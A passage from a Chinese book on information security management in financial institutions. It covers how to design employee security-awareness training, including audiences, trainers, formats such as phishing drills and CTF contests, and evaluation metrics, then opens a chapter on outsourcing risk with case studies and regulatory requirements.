1）确定培训关联方，一方面明确培训对象及核心诉求，另一方面选择合适的培训师资力量。

2）确定培训内容、培训方式和培训时机。

3）建立系统化、岗位针对性强的信息安全培训体系，形成面向对象的信息安全培训矩阵。

4）建立培训效果衡量和考核体系，根据结果优化改进培训体系，形成螺旋上升的长效机制。




6.2　信息安全培训关联方



一个行之有效的培训体系，首先需要安排好培训的双方，一方面是培训的接收方（即培训对象），要清晰地了解不同培训对象的诉求并明确培训主题和培训重点；另一方面是培训的授予方（即培训老师），要针对不同的培训对象和培训主题合理地安排培训老师，方能起到良好的效果。


1.培训对象及核心诉求


金融企业的高管、中层管理者、业务部门工作人员、信息科技人员、行政综合人员等，这些不同工作岗位的人员，由于工作职责、岗位能力要求有差异，接触的信息重要性和面临的风险状况不同，需要的信息安全知识和信息安全培训的侧重点也是不同的。针对不同岗位定制不同的信息安全知识和能力培训方案，将有效地降低工作中蕴含的风险隐患。

（1）金融企业高管

金融企业高管应该首当其冲地成为信息安全培训受众。原因主要有两方面：一是金融企业高管接触的信息面广、层次高、敏感信息多，而由于工作忙碌往往容易造成对信息保密的疏忽，因此常常成为“性价比最高”的重点攻击对象；二是金融企业高管接受信息安全意识培训，可以对全员信息安全意识提升起到表率作用，带动全员重视信息安全、尊重信息安全的氛围。

金融企业高管的信息安全培训，重点应该放在信息安全战略和信息安全意识宣导方面，应该帮助高管了解金融企业信息安全战略方向、信息安全相关法律法规、主要的信息科技监管要求和监管趋势、金融科技时代下信息安全新形势和管理新特点、信息安全组织架构、金融企业信息安全的特性、需要保护的主要信息类别和分布情况、主要的风险事件案例等，为金融企业内部推行各类信息安全和风险控制措施奠定基础。

（2）中层管理者

金融企业的中层管理人员，是“承上启下”地执行战略和政策的中坚力量，如果对信息安全理解到位，既可以很好地贯彻执行企业的信息安全战略，也可以带动基层员工们主动落实信息安全防护措施，监督措施执行到位。

中层管理人员的信息安全培训，应侧重于信息安全基本概念、信息安全相关法律法规、信息科技监管要求及趋势、信息安全管理体系、主要的风险事件案例、业界最新风险防控思路及措施等方面，使他们理解什么是信息安全，为什么要重视信息安全，本人管辖领域内哪些工作会涉及信息安全，以及怎样做好信息安全风险防控。

（3）所有部门基层员工

基层员工是直接从事信息采集、传输、使用的人员，是信息安全政策和具体措施的执行者。由于基层员工数量众多、接触的具体信息丰富，很容易被打开突破口，成为最容易泄密的群体。

基层员工的信息安全培训，应侧重于银行信息安全相关的制度和流程的具体内容、与信息安全行为相关的法律法规、敏感信息保护要求、敏感信息泄露行为导致的不良后果和真实案例、违规处罚措施、基本的信息安全操作技能和防护手段等方面，目的是帮助基层员工树立信息安全保护的理念，提高合规操作和风险防范的意识，掌握具体的信息安全风险防控技能，降低因员工工作疏忽、操作不规范或有意泄露而造成的威胁。

（4）信息科技员工

信息科技部门的员工，是信息安全政策落地的核心力量，更是信息安全管理和技术措施的直接执行者和捍卫者。这个团队的信息安全水平，在很大程度上影响了金融企业的信息安全整体水平。

信息科技部门各个不同团队的信息安全培训，有不同的侧重点：

·对于开发测试人员，应侧重于企业信息安全政策和制度、监管和行业组织发布的应用安全相关技术规范、密码技术和应用、需求分析安全要求、设计安全要求、编码安全要求、安全测试要求，代码审计相关知识，以及系统和应用安全常见漏洞的原理、现象、漏洞扫描等发现方法、扫描结果评估方法和安全防范措施等。

·对于运维人员，应侧重于企业信息安全政策和制度、监管和行业组织的信息系统运维相关技术规范、机房安全、网络安全、主机及系统安全、终端安全、信息安全技术工具、故障应急、业务连续性等。

·对于信息安全岗员工，是信息安全培训体系的制订者和维护者，一方面应该掌握设计信息安全培训体系的方法，另一方面应接受有关监管趋势及要求、风险评估、安全检查知识和技能、信息安全技术工具的策略和操作技能等方面的培训。

（5）外包人员

金融企业存在大量的外包工作，出于成本节约和人员编制的考虑，一方面，业务部门需要将后台集中作业流程、借记卡和信用卡申请资料录入、催收和外呼等附加值较低的工作外包给成本较低的专业团队执行；另一方面，科技部门有大量的开发任务需要外包给科技公司完成，个别金融企业还会将部分运维工作外包。外包人员可能接触到金融企业的客户信息、系统开发和设计文档等大量的敏感信息，需要接受信息安全培训。

外包人员的信息安全培训，应侧重于金融企业外包制度和流程的具体内容、金融企业信息的分类和信息安全保护具体要求、与信息安全行为相关的法律法规、泄密行为导致的不良后果和真实案例等方面，使外包人员树立信息安全保护意识，了解信息安全行为失当导致的严重后果，提高日常工作的合规性，产生对信息安全的“敬畏之心”。

（6）外部用户

大量的事实表明，很多的风险案例是由于客户对个人客户信息（例如用户名和密码等敏感信息）保管不当、误安装病毒木马软件、误点击钓鱼邮件等原因造成的。因此，加强对客户及其他外部用户的信息安全意识教育和宣传培训，显得极其重要。

外部用户的信息安全培训，应侧重于具体的案例说明、主要的诈骗手段拆解、简明扼要的信息安全宣传标语等，甚至可以通过短视频、安全段子等生动活泼、通俗易懂的方式，让客户对信息安全保护相关内容印象深刻，引以为鉴。

综上所述：

·一个信息安全意识强的金融企业高管，可以带来更好的对内信息安全政策，对外更谨慎的信息披露。

·一个信息安全意识强的中层管理者，可以承上启下地做好信息安全防控措施的落地执行。

·一个信息安全意识强的业务人员，可以更好地保护客户信息，需求中的业务风险控制要求会提得更为充分。

·一个信息安全意识强的开发人员，可以有意识地对应用系统设计开发更合理的安全控制措施，减少应用漏洞发生。

·一个信息安全意识强的外包人员，会在数据处理或系统开发时自觉遵守金融企业的安全要求，不越权操作或泄漏敏感信息。

·一个信息安全意识强的金融企业客户，会在面临电信诈骗或钓鱼攻击时保持清醒，避免上当和蒙受损失。

信息安全培训对于金融企业各级员工、外包人员、外部客户的帮助是显而易见的，需要当作一个整体的培训体系来设计和实施。


2.培训师资


针对不同的培训对象，培训师资的选择也应该有所区别。总体来说，有以下几种培训师资可供选择。

（1）内部信息安全人员企业内训

针对基层员工和外包人员，由企业内部的信息安全人员开展内训是较好的选择，因为信息安全人员对于本企业内部的信息安全情况了解最为深入，非常清楚应该保护的信息主要有哪些，对规章制度、主要风险心中有数，可以结合日常信息安全检查工作中发现的具体风险事件案例，剖析产生风险的原因、应对措施等，并针对操作性要求进行详细的分析和讲解，做到有的放矢。

（2）外聘讲师开展企业内训

针对企业高管、中层管理者，基于“外来和尚好念经”的原则，以及对监管趋势、同业案例更为了解的要求，外聘讲师入行培训是一个更优的选择。

在讲师的选择方面，要特别注意讲师的实际信息安全工作经验。纯理论的讲解难以深入人心，必须理论联系实际，因此最好选择曾经制定过金融行业信息安全标准、在金融企业做过咨询等工作背景的讲师，才能准确把控监管机构对金融企业和管理者的要求，以及准确选取同业曾经有过“切肤之痛”且跟企业现状最为匹配的案例。

（3）外出参与团体培训

针对信息科技部门的开发、运维和信息安全人员，适当外出参加团体性的专业类培训不无益处：一方面，可以开拓眼界，提升自身专业水平，有利于回来转训；另一方面，可以创造机会与同业交流，扩展自己的知识面和人脉资源。

要保证培训效果，培训机构的选择至关重要。由于金融行业信息安全管控标准普遍高于其他行业，因此建议选择专门面向金融类从业人员的培训机构，更为了解金融行业的特点、信息安全工作的重点以及信息科技相关监管要求等，行业内的交流也可以更加深入。

（4）聘请专业组织优化培训材料

针对金融企业的广大客户，只能通过金融企业的分支机构、电子渠道等方式触达客户，因此需要在金融企业内部人员设计的培训内容及案例的基础上，寻求一些专业的培训设计公司，对培训的形式、内容进行一定的优化，提高可读性和趣味性，确保客户能够理解培训内容，从而提高客户信息安全意识。




6.3　信息安全培训“百宝箱”



信息安全培训对象、师资力量确定后，就可以针对不同的培训对象，定制差异化的培训内容，利用不同的培训形式，选择适当的时机开展培训。


1.培训内容


金融企业信息安全培训的内容可以分为专业知识、实用技能、安全意识三大类。考虑到第5章已经详细地阐述了信息安全专业人士应该掌握的知识和技能，本节重点针对非信息安全专业人士的培训内容进行分析。

（1）专业知识

对于非信息安全专业人士来说，需要掌握的信息安全知识主要包括：

·法律法规关于信息安全管理的要求。

·主要的与信息安全相关的监管要求和行业标准。

·信息安全管理体系的基本概念和管理要点。

·信息安全规章制度和流程中的重点要求。

·信息安全的基本定义（CIA三性）、主要内涵、关键风险及对策等。

·信息的分级分类和每个级别对应的安全管控措施

。





（2）实用技能

对于非信息安全专业人士来说，需要掌握的信息安全实用技能主要包括：

·对于业务人员，需要防钓鱼、防信息泄漏、邮件安全、密码安全、文档保密等基本的防护技能。

·对于信息科技开发人员，需要安全开发的概念和主要要求。

·对于信息科技运维人员，需要安全运维的概念和主要要求。

·对于所有人员，需要信息安全应急管理与业务连续性管理实践技能。

（3）安全意识

与安全意识相关的主要内容包括：

·同业主要信息安全风险事件案例的现象、原因分析和应对措施分析。

·金融机构最为常见的客户信息泄露、密码泄露、病毒木马、电信诈骗等手段及对应的防范措施。


2.培训需求分析


培训需求分析的目的是，针对培训对象挑选出适当的培训内容，确保培训的效果能够满足企业对员工信息安全意识水平的要求。培训需求分析是培训的首要和重要环节，如果需求分析做得不到位，可能导致南辕北辙。

信息安全培训内容包罗万象，不是越全越好，也不是内容越专业越好，所谓“适合的就是最好的”，所以必须根据培训对象的需求、知识结构、技能状况、当前信息安全意识水平等因素做出合适的选择，因材施教，方可达到最好的效果。确定培训需求的方式主要有：

·访谈。一方面，可以通过与管理层访谈，获取对培训对象的期望；另一方面，与培训对象的代表访谈，了解其关于信息安全领域的“痛点”和期望达到的效果。访谈可以设置一些封闭性的和开放性的问题来开展。

·培训需求调查问卷。以问卷形式列出一组问题，可以包括封闭性问题和开放性问题，要求调查对象就问题进行打分、做选择或者给出描述性回答，调查问卷可以全员参与。

·员工安全意识水平测试。通过一些简单的测试题，或者专业培训机构提供的测试软件，获知培训对象的信息安全意识水平、主要短板等，从而有针对性地设计培训内容。

培训需求分析结束后，就需要结合当年的培训预算，确定具体的培训内容、培训方式和培训计划。


3.培训形式


金融企业既可以采用现场培训、交流会议、知识竞赛等方式面对面开展培训，也可以采用Elearning电子学习平台、安全意识动画、电子期刊、宣传海报、桌面温馨提示等多种生动、直观、鲜活的宣传培训方法，寓教于乐，提升培训效果。还可以采用安全竞赛的方式，提高员工主动参与的积极性。

（1）现场培训

现场培训是最常见的一种集中开展的培训形式，优点是大家精力比较集中，交流较为充分，在主题的选择上可以更为聚焦，讲解上可以更为深入。以下是两种常见的现场培训方式：

·专题培训。选择几个最重要的信息安全主题，在深度上下功夫，把信息安全知识讲到位、讲透彻。针对高管层、管理者等对信息安全知识涉及面很广的培训，以及针对开发安全、运维安全等比较有深度的培训，都适合采用这种方式。

·交流会议。选择一些实践经验比较丰富的机构，现场做案例讲解，也可以针对金融机构内部的常见问题，由信息安全团队进行综合分析后讲解。对于金融企业内部涉及多个分支机构、多个部门，面临的信息安全环境和防护措施具备一定相似性的培训场景，适合采用这种方式。

（2）Elearning在线培训

Elearning在线培训（如图6-1所示），由于3A（Anytime，Anywhere，Anyway，任何时间、任何地点、多种方式）的特性，因此最适合针对全员的培训。




图6-1　Elearning培训示意

与现场培训不同，Elearning在线培训更适合普及性的、内容相对简短的培训，推荐的方式是选择一些重要的知识点，用案例的方式生动活泼地表现出来，其中再穿插讲解风险要点、规避措施和管理要求。例如，可以选择办公安全、客户信息保护、邮件安全、密码安全、文档保密等与所有员工都密切相关的主题，开展信息安全意识动漫制作及宣传教育，使员工们时刻牢记“安全无小事”，将日常信息安全行为规范转化为个人习惯，并长期持续地坚持下去。

（3）开办内外部信息安全专栏

信息安全专栏可以向内外部客户提供专业化、有深度的信息安全服务，引起内部员工和外部客户对信息安全的重视，主动学习各种技巧以防范可能随时面临的风险。主要形式有：

·内部专栏。在内部门户系统或办公自动化系统中开设信息安全专栏（如图6-2所示），随时发布与信息安全相关的内容，例如，主要的信息安全法律法规要点，国家层面关于网络安全防范的重要战略和指示精神，监管新动向，新发生的信息安全事件及防范措施等，提供一个方便的渠道以便员工学习和了解。为了拓展专栏的内容，可以举办征文大赛或者设立特约撰稿人，以保证来稿的数量和质量。

·外部专栏。在金融企业的微信公众号上，发布与信息安全意识相关的文章、图片、视频等，重点是向客户宣贯一些与信息安全相关的小案例、风险防范小技巧等。特别是可以结合一些热点新闻（如电信诈骗事件、网络钓鱼事件、客户信息泄露事件导致资金损失等），深度挖掘并向客户详解事件发生情况，提供图文并茂的实用防范技巧。所有外部专栏的内容，均可以通过微信群转发内部员工分享。




图6-2　某公司信息安全专栏课程

（4）以赛代训

以赛代训的优点是避免枯燥的、教条主义的灌输和说教，通过竞赛的方式，提高培训对象的参与度，调动培训对象的热情，从而加深印象。可以考虑的竞赛方式包括：

·合规知识竞赛。针对信息安全知识和技能要求，设计一些形式活泼的考题，例如，判断题、单选题、多选题、案例题等，通过分组比赛的方式，安排必答题和抢答题等形式，强化员工们对信息安全工作要求的理解，激发员工对信息安全知识和技能的学习热情，进而提高全体员工的信息安全风险及合规意识，营造良好的信息安全风险管控和合规工作气氛。

·信息安全创意作品大赛。通过不限形式的作品征集，鼓励全员参与竞赛，采用征文、摄影、视频、诗歌、宣传画报、漫画等各种各样的创意形式，表达信息安全意识宣传的主题，从而调动全体员工主动思考如何开展信息安全风险防范，并用通俗易懂的形式表达出来，往往能产生“高手在民间”的意外惊喜。最后的奖项设定也可以采用全民投票+专家评定的方式得出，促使全员认真研读参赛作品，无形中接受了信息安全意识培训，潜移默化地提升了信息安全意识水平。

·微信游戏比赛。通过在微信中设置一些信息安全小游戏，例如，答题闯关、有奖查漏、双人PK等方式，使大家在“玩中学、乐中学”，营造大家对信息安全的参与感。

·CTF攻防大赛。这是针对信息安全专业人员的一种竞赛方式（如图6-3所示）。CTF（Capture The Flag），直译为“夺旗比赛”，源于1996年举办的DEF CON全球黑客大会，该比赛是目前全球最高技术水平和影响力的CTF竞赛，类似于CTF赛场中的“世界杯”。随着金融企业安全攻防技术的发展，比较有技术实力和前瞻性的金融机构已经开始自行举办或者参与行业内的一些CTF比赛。比赛规则中设计了漏洞查找、问题解答、安全加固、相互攻击等模式，采用实战性的方法，可以快速训练和提升信息安全队伍的专业技能。




图6-3　Facebook Capture The Flag（CTF）（图片来自网络）

（5）信息安全实战演练

信息安全实战演练，采用“真演实练”的方式，模拟一些真实的攻击场景，检验员工的信息安全意识和面对攻击的应对水平。这种“以练代训”的培训方式，可以给员工真实的体验和深刻的教训，因此得到了越来越多的重视和实际应用。

由于面向全员开展，对于信息安全意识薄弱的员工可能会形成一定的“侵入式”干扰，因此在正式演练前，需要做一些准备工作：首先，要争取高管层面的支持、认可和授权；其次，应制订详细的演练方案，并在全员层面做好提前宣贯；再次，选择合适的演练启动方式，第一次最好采用“事先通知”模式，之后可以逐步试行“突然袭击”模式；最后，选择合适的演练场景。

适合全员信息安全实战演练的场景主要包括：

·钓鱼邮件和病毒木马。可以针对不同对象采用不同的钓鱼邮件内容，例如，冒充系统管理员“Admin”给全员发邮件要求修改密码，以盗取原账号和密码；冒充合作公司，提交带病毒木马的文档资料或合作方案；冒充人力资源部员工，以“调薪方案”或“工资明细”等为主题，传播带病毒木马的附件等。通过分析演练结果，披露被“钓鱼”的员工比例，揭示钓鱼邮件的主要特征、攻击过程和常用手法，提醒全员警惕钓鱼邮件风险，学习、理解并运用钓鱼邮件的防范手段，防止个人敏感信息泄露和被误导安装病毒木马。

·社会工程学方式。除了钓鱼邮件这一常见社会工程学的方式外，还可以采用假冒角色的方式，骗取敏感信息。例如，冒充上级或同事，向员工索取用户账号和密码；冒充金融企业的高管层向有机会接触敏感客户信息的员工索要客户信息等。通过这些案例，提醒员工警惕社会工程学攻击，防范“潜伏”在身边的风险隐患。

·撞库测试。在互联网上收集一些已泄露的账号密码，在行内系统开展撞库测试，检验行内用户账号和密码是否与被泄露的结果一致，提醒员工要对密码进行分类设置和管理。

·弱口令。采用类似员工姓名+生日、“password123”、纯数字等常见的弱口令，测试密码的强度，防止员工设置弱密码导致的风险。

各项实战演练结束后，应该做一些专题的案例分析，一方面详解攻击原理和过程，另一方面向员工宣传正确的防范措施，必要时可邀请在演练中“不幸中招”的人现身说法，呼吁大家引以为戒。

（6）信息安全活动宣传周、信息安全活动宣传月

近几年国家网络安全宣传周（如图6-4所示）和各省的网络安全宣传周办得如火如荼，促使金融企业、广大客户都更加重视信息安全，参与信息安全建设和宣传工作。

在金融企业内部，可以借势开展自己的信息安全宣传工作，也可以组织自己的信息安全活动宣传月，通过视频、画报、宣传手册、有奖知识问答、微信或微博展示等各种各样的形式，向全行及外部客户推广、宣传信息安全理念，提升信息安全意识，防范信息安全风险。

（7）无处不在的安全宣传

信息安全意识宣传必须“抬头不见低头见”，方可提高信息安全的“存在感”，起到更好的宣传效果，促使大家在日常工作中时刻注意信息安全。




图6-4　国家网络安全宣传周

例如，在电梯口的视频电视中持续播放信息安全意识宣传动画，在食堂墙报上张贴信息安全意识的口诀或者漫画（如图6-5所示），在过道拉起信息安全意识的宣传“易拉宝”，在办公环境中的会议室、文印室、办公座位，张贴“信息安全温馨提示”，在办公电脑的桌面屏保推送“信息安全宣传口号”或者“信息安全宣传墙纸”，人手一册发放有安全知识的笔记本等，都是金融企业可以参考的宣传方式。




图6-5　安全小贴士

（8）定期发送风险提示

针对防钓鱼、弱口令、外发邮件安全、客户信息保护等常见的信息安全风险，可以制作一些风险提示或者电子期刊，结合实际案例，讲解这些信息安全风险的常见表现、解决措施等，主动推送给企业内部员工和外部客户，让大家从案例中吸取经验教训，避免重蹈覆辙（如图6-6所示）。




图6-6　定期通过热点事件发送风险提示

（9）信息安全智能机器人系统

信息安全智能应答机器人，是参照智能客服的模式，以人工智能技术构建自动客服系统。建立信息安全智能知识库，涵盖信息安全基础知识、信息安全制度、信息安全案例、信息安全风险防范技巧等丰富的内容。面向金融企业全体用户提供与系统直接进行文字和自然语言对话的途径，帮助用户用最快的方式获取信息安全相关的知识。此外，在通过“智能应答机器人”平台进行信息安全知识宣贯的基础上，还可以形成专用的信息安全知识订阅号，主动推送宣传信息，与用户形成互动。

（10）外部提供的信息安全培训组合服务

金融企业特别是中小型金融企业的信息安全专业团队普遍存在人力资源不足的情况，能完成基本的信息安全工作已经颇为不易，自主组织和设计各种信息安全培训方案更是一种“奢求”。因此，购置第三方信息安全培训组合服务，可以作为金融企业信息安全培训工作的有益补充。

信息安全培训组合服务可提供定期的信息安全宣传材料，由于培训机构的产品化设计和专业化能力较强，可以制作出内容丰富、形式多样的培训材料，定期推送给员工，引导和影响员工的信息安全意识行为，最终达到提高整体信息安全意识水平的目的。培训机构可以通过信息安全动画、宣传片、视频课程、宣传画、知识手册、屏保、电子期刊（如图6-7所示）、现场培训等多种形式提供培训组合服务。

选择信息安全组合服务，最重要的是培训机构必须具备丰富的信息安全管理经验和信息安全培训服务实践能力，拥有具备信息安全专业资质和丰富信息安全培训经验的专业培训师资，且在金融行业承担过较多的信息安全培训服务，能深刻掌握金融行业信息安全的关键风险点和防范措施。




图6-7　免费订阅网络安全意识期刊


4.培训时机


（1）全员每年例行培训

针对企业全员，每年需要例行开展一些培训，在主题和重点上可以轮换。例如，每年固定一个时间（例如在企业级工作会议或者企业级科技工作会议上）开展信息安全现场培训或者交流；每年固定一个时间（例如每年第三季度开始），组织全员参与Elearning在线培训等，使大家“温故而知新”，始终对信息安全“绷紧一根弦”。

（2）员工入职马上培训

对于新入职员工，在入职后一个月内需要开展信息安全培训，最好采用现场培训的方式开展，使新员工熟悉了解信息安全管理的必要性和重要性、信息安全相关的基本概念、企业关于信息安全管理的基本原则、主要的规章制度要点、不能触碰的“高压线”和“底线”、违反信息安全规定的惩罚措施等，并通过案例学习掌握金融企业关于信息安全管理的基本要求，以帮助新员工在进入企业之初就了解企业的信息安全文化和信息安全管理原则，初步掌握信息安全相关的基本知识与技能，养成良好的安全习惯，在工作中注意遵守信息安全管控要求。新员工的信息安全意识培训考核结果，可以与员工的转正相结合。

（3）高危人士时常培训

针对接触企业大量数据的信息科技人员、接触大量客户敏感信息的营销人员、掌握战略或人力资源管理等内部信息的关键岗位员工等“高危人士”，需要加大信息安全培训的频率，至少每半年接受一次培训，部分内容可以一直重复、常讲常新，部分内容可以根据当前形势与时俱进，提醒这些人士时刻警惕风险，防范主动或者被动的信息安全风险。

（4）专业人士专场培训

针对信息科技开发、运维、安全等直接从事信息安全风险防范工作的人士，要定期组织专场的培训，可以内训也可以参加外训，深入学习最新的信息安全技术和理论知识，形成体系化的知识结构，在工作中实践运用。

（5）特殊事件重点培训

在出现安全事件等特殊情况后，必须立即开展案例分析，分析事件发生的原因、影响、后续措施等，着重分析采取何种措施可以避免今后发生类似问题。将这些问题分析透彻并在内部尽可能大的范围内实现共享，就可以避免重蹈覆辙。




6.4　面向对象的信息安全培训矩阵



所谓面向对象的信息安全培训矩阵，就是将信息安全培训对象、核心诉求和培训“百宝箱”组合在一起，建立信息安全培训课程和培训对象之间的二维表格，针对不同的岗位设置不同的信息科技风险知识和技能要求，明确每一类培训对象应该参与的培训内容，确定培训形式及时长等。


1.培训矩阵构成要素


要建立培训矩阵，建议遵循以下三个步骤：

1）分析培训矩阵的第一个维度“培训对象”，将培训对象的分类作为横轴。

2）分析培训矩阵的第二个维度“培训内容”。针对培训对象开展调研，通过代表性人物访谈、调研问卷、安全意识测试等方式，广泛征集各类培训对象关于信息安全的培训需求和对信息安全培训形式的建议。综合建议后形成培训内容、形式、资源、时长等，作为纵轴。

3）建立培训对象和培训内容之间的对应关系，形成培训体系的二维矩阵，每个培训对象的培训计划均可以从矩阵中筛选出来。再结合当年的培训预算、培训覆盖人群目标等，形成年度的培训计划。


2.培训矩阵示例


以下是一个典型信息安全培训矩阵的示例，如表6-1所示，针对不同的培训对象，确定不同的培训内容，综合所有的培训内容，形成一个良好的培训体系。根据年度工作安排补充上时间维度，全年的信息安全培训工作规划就出炉了。

信息安全培训矩阵的建立，将一个个零散的、单点的、相互独立的信息安全培训课程，综合形成覆盖面完整的、系统化的、有针对性的、层次分明的信息安全培训体系，每一项培训都是整体规划的一个重要、有机的组成部分，整个培训规划涵盖了从基础到专业的不同内容，满足了各个层级、各类人群的不同需求，促进金融机构全员信息安全知识和技能的全面提升，可以达到良好的目标效益。

表6-1　信息安全培训矩阵










6.5　培训体系实施的效果衡量



一个培训结束后，培训对象是否学习理解到位，往往隐性的，很难用量化的指标来检验。因此，培训效果衡量一直是培训工作的大难题，信息安全培训工作也不例外。培训后的考试是一种常见的检验方式，但通常只能衡量培训对象对于知识的当堂掌握情况。而是否可以将知识和实用技能应用到工作中，才是培训的真正目的所在，因此对实际应用效果的衡量，才是检验培训效果的最好方式。

培训效果评估指标（如表6-2所示）可以从以下几方面来设计：

·衡量培训组织情况，可以建立衡量培训计划执行情况和覆盖范围的指标，包括培训计划执行率、培训覆盖率（又可以包括全员培训覆盖率、新员工培训覆盖率、外包人员培训覆盖率等几个细分指标）。

·衡量直接的培训效果，可以建立衡量培训对象对培训内容中涉及的理论、概念、技术等学习掌握程度的指标。一般先组织笔试，然后将笔试结果作为衡量因素，可以设置的指标包括培训平均分、培训合格率等。

·衡量培训执行效果，可以通过日常信息安全检查工作的结果来衡量。指标包括“信息安全日常行为抽检合格率”“制度执行抽检违规率”“信息安全泄密事件”“重大信息安全责任事件”等。

表6-2　培训效果评估指标







设定或选择以上指标后，给每个指标设置一定的权重，加权平均计算出的综合结果，就可以衡量一个金融机构信息安全培训取得的整体效果、信息安全意识水平情况，以及信息安全要求落地执行的成效。必要情况下，可以与员工所在部门、员工本人的绩效挂钩，将上述指标量化结果转化为部门、个人的考核指标，从而提升全员对信息安全培训的重视程度，提高培训效果。




6.6　小结



本章从信息安全培训的必要性出发，通过案例说明了信息安全意识不足的深刻教训，分析了信息安全培训对象的核心诉求，并从培训内容、培训需求分析、培训形式、培训时机等方面详细讲解了实战技巧，最后构建了面向对象的培训矩阵，并设计了实施效果衡量指标。




第7章　外包安全管理



随着金融企业业务的迅速发展和市场竞争的日益激烈，对科技支持能力的要求迅猛增长，但金融企业普遍存在信息科技人力资源匮乏、技术能力欠缺等问题，人员数量和质量均不能满足业务发展对科技的要求。因此，大部分金融企业都采用信息科技外包的方式，将其作为自身科技力量的补充。但凡事均有两面性，信息科技外包这把“双刃剑”，在给金融企业带来专业化能力、推动科技创新、提高科技效率、实现科技对业务快速支持的同时，也引发了一系列的外包风险。近年来金融行业陆续出现的外包风险事件，给金融企业和监管机构都敲响了警钟。外包信息安全管理，成为金融企业信息安全管理的重要组成部分，也成为金融行业监管的工作重点之一。




7.1　外包安全管理的问题与“痛点”



根据中国银监会《银行业金融机构信息科技外包风险监管指引》，信息科技外包是指银行业金融机构将原本由自身负责处理的信息科技活动委托给服务提供商进行处理的行为。其他类型的金融企业也可参考类似定义。

将信息科技工作外包给其他服务提供商承担，相较于金融企业自身的员工开展，存在着特殊的风险。因此，信息科技外包风险防控，已成为金融行业信息科技风险防范的主要任务之一，金融企业必须采取各种措施，加强信息科技外包安全管理。




7.1.1　几个教训深刻的外包风险事件



近年来国内外爆发了多起与金融企业相关的外包风险事件，其影响面广、危害程度大，给金融企业造成了较大的损失和声誉风险。


1.外包公司违规收集银行数据事件


2012年5月，国家安全部发布对某外资公司存储产品的代理商北京某公司违规收集银行数据、危害我国金融信息安全的通告。通告公布他们窃取银行数据的四种手段：一是利用维护之便，使用专用工具；二是利用故障分析时提供的最高系统权限；三是利用进入银行要害区域的机会，通过偷拍等方式窃取网络拓扑图、技术方案等敏感信息；四是对回收的硬盘进行分析，非法窃取银行重要信息。


2.韩国某银行外包人员误操作导致服务中断事件


2011年4月12日，韩国某银行因系统瘫痪导致金融服务受到严重影响，全国1154个分支行的服务中断，影响持续时间长达一周。据调查，故障发生的原因是由于外包团队人员掌握了该银行核心系统的超级管理员权限，4月12日该人员错误执行了删除命令，导致服务器中的所有文件被删除。外包管理缺位，系统用户权限控制混乱，外包人员权限过大，是导致问题发生的主要原因。


3.某公司解散影响多个金融企业外包服务


某公司是一家金融IT综合服务提供商，为银行、保险、基金、证券等金融行业、大型企业财务公司提供整体解决方案和软件产品，业务范围涵盖了规划咨询、软件开发实施、技术服务、IT外包与运营服务、系统集成及系统维护服务等，是中国金融行业客户重要的IT服务提供商和战略合作伙伴。该公司于2007年在美国IPO，曾有“第一家在纽交所上市的国内软件企业”之誉，但在2011年8月31日，因涉嫌财务造假，该公司宣布解散。

该公司事件对国内多家金融企业的IT外包服务项目造成了影响。从2011年初开始，该公司公司已出现资金紧张、项目人员大量流失等情况，2011年8—9月，公司给各金融企业出具公函，告知部分项目建设无法执行，建议金融企业寻求第三方公司继续执行该公司承建的项目。各金融企业在2011年底至2012年初纷纷全面梳理合同，临时将该公司未履行完毕的责任义务全部转移给第三方公司承担，由于团队变动、人员流动、技术转移等原因，在过渡期内，给各金融企业的系统开发质量、进度和运行稳定性造成了较大的影响。


4.多媒体查询机供应商某公司突然停业事件


2011年2月，多家银行突然收到多媒体查询机供应和维护商深圳某科技有限公司的通知，该公司因自身原因从2011年1月31日停止业务经营，从2011年2月1日起将无法提供后续服务，建议用户利用该公司预留的售后服务保证金及时聘请其他服务商接替后续服务，但未就后续相关工作安排做出任何说明。受此影响，各银行当时所使用的多媒体查询机突然得不到相应的维护保修服务，给该类设备的稳定运行造成了较大的影响。




7.1.2　外包安全管理的必要性




1.外包管理是“刚需”，外包安全管理就是必须“支付”的对价


在金融企业所有的外包活动中，信息科技外包所占比重最大。金融企业信息科技外包的目的主要有两方面：

·弥补自身人力资源的不足，将自身有限的资源投入至最重要的业务系统和最核心的技术掌控，其余资源通过外包方式补充。

·充分利用外包公司在规模经济、专业化以及前沿创新技术方面的优势，实现对市场变化和业务需求的快速响应。

著名的管理学家彼得·德鲁克曾预言：“在10~15年之内，任何企业中仅作后台支持而不创造营业额的工作都应该外包出去，任何不提供向高级发展的机会和活动、业务也应该采用外包的形式。”可见外包既有理论层面的强有力支撑，又有实践层面的殷切需求。

既然信息科技外包已经是大势所趋和无法避免的选择，那么信息科技外包风险也就成了金融企业必须“支付”的对价，是必须且非常重要的工作。金融企业不能“一包了之”“包治百病”，而应该承担起外包风险管理的责任，必须认识到外包风险，对外包风险进行分析评估，加强外包安全管理，采取风险缓释、转移、规避等措施，将外包风险控制到合理的、可接受的程度，避免信息技术及服务受制于人。可以说，不做好外包安全管理，就做不好信息系统管理，进而无法实现对金融企业系统和业务的保驾护航。


2.金融企业面临的外包风险形势严峻


近年来，金融企业信息科技外包发展势头迅猛，外包涉及的范围逐步扩大，已经涵盖了信息科技相关的规划、需求、开发、基础设施建设、运维等生命周期的各个阶段。如果外包商经营出现风险，外包商服务质量下降，或者外包商出现不当行为，都有可能对金融企业的信息系统稳定运行及业务服务的安全造成严重影响。

近年来金融企业由于外包问题引发的信息系统中断、敏感信息泄露等问题较多，外包风险作为金融企业信息科技风险的重要组成部分，必须加以重视。


3.监管机构对信息科技外包的监管要求趋严趋紧


针对日益严峻的信息科技外包风险形势和层出不穷的外包风险事件，监管机构高度重视，监管要求逐步加强。

·中国银监会于2010年出台了《银行业金融机构外包风险管理指引》，对外包的组织架构、风险评估、外包商尽职调查、合同协议约定等方面提出了具体要求。

·中国银监会2013年印发了《银行业金融机构信息科技外包风险监管指引》，专门针对信息科技外包这一比重最大的外包领域提出了很多细化的安全管控要求，定义了信息科技外包的几种类型，规范了银行信息科技外包风险管理的组织架构和战略内容，细化了信息科技外包活动各阶段、各环节的风险控制及管理要求，并针对重要外包商、机构集中度外包商、跨境外包商、非驻场外包商、银行业重点外包服务机构等特殊类型的外包商提出了相应的管理要求，可以作为银行业信息科技外包工作的一个“纲领性”文件。监管指引中明确要求不得将信息科技管理责任外包，引导银行将信息科技外包管理纳入全面风险管理体系。

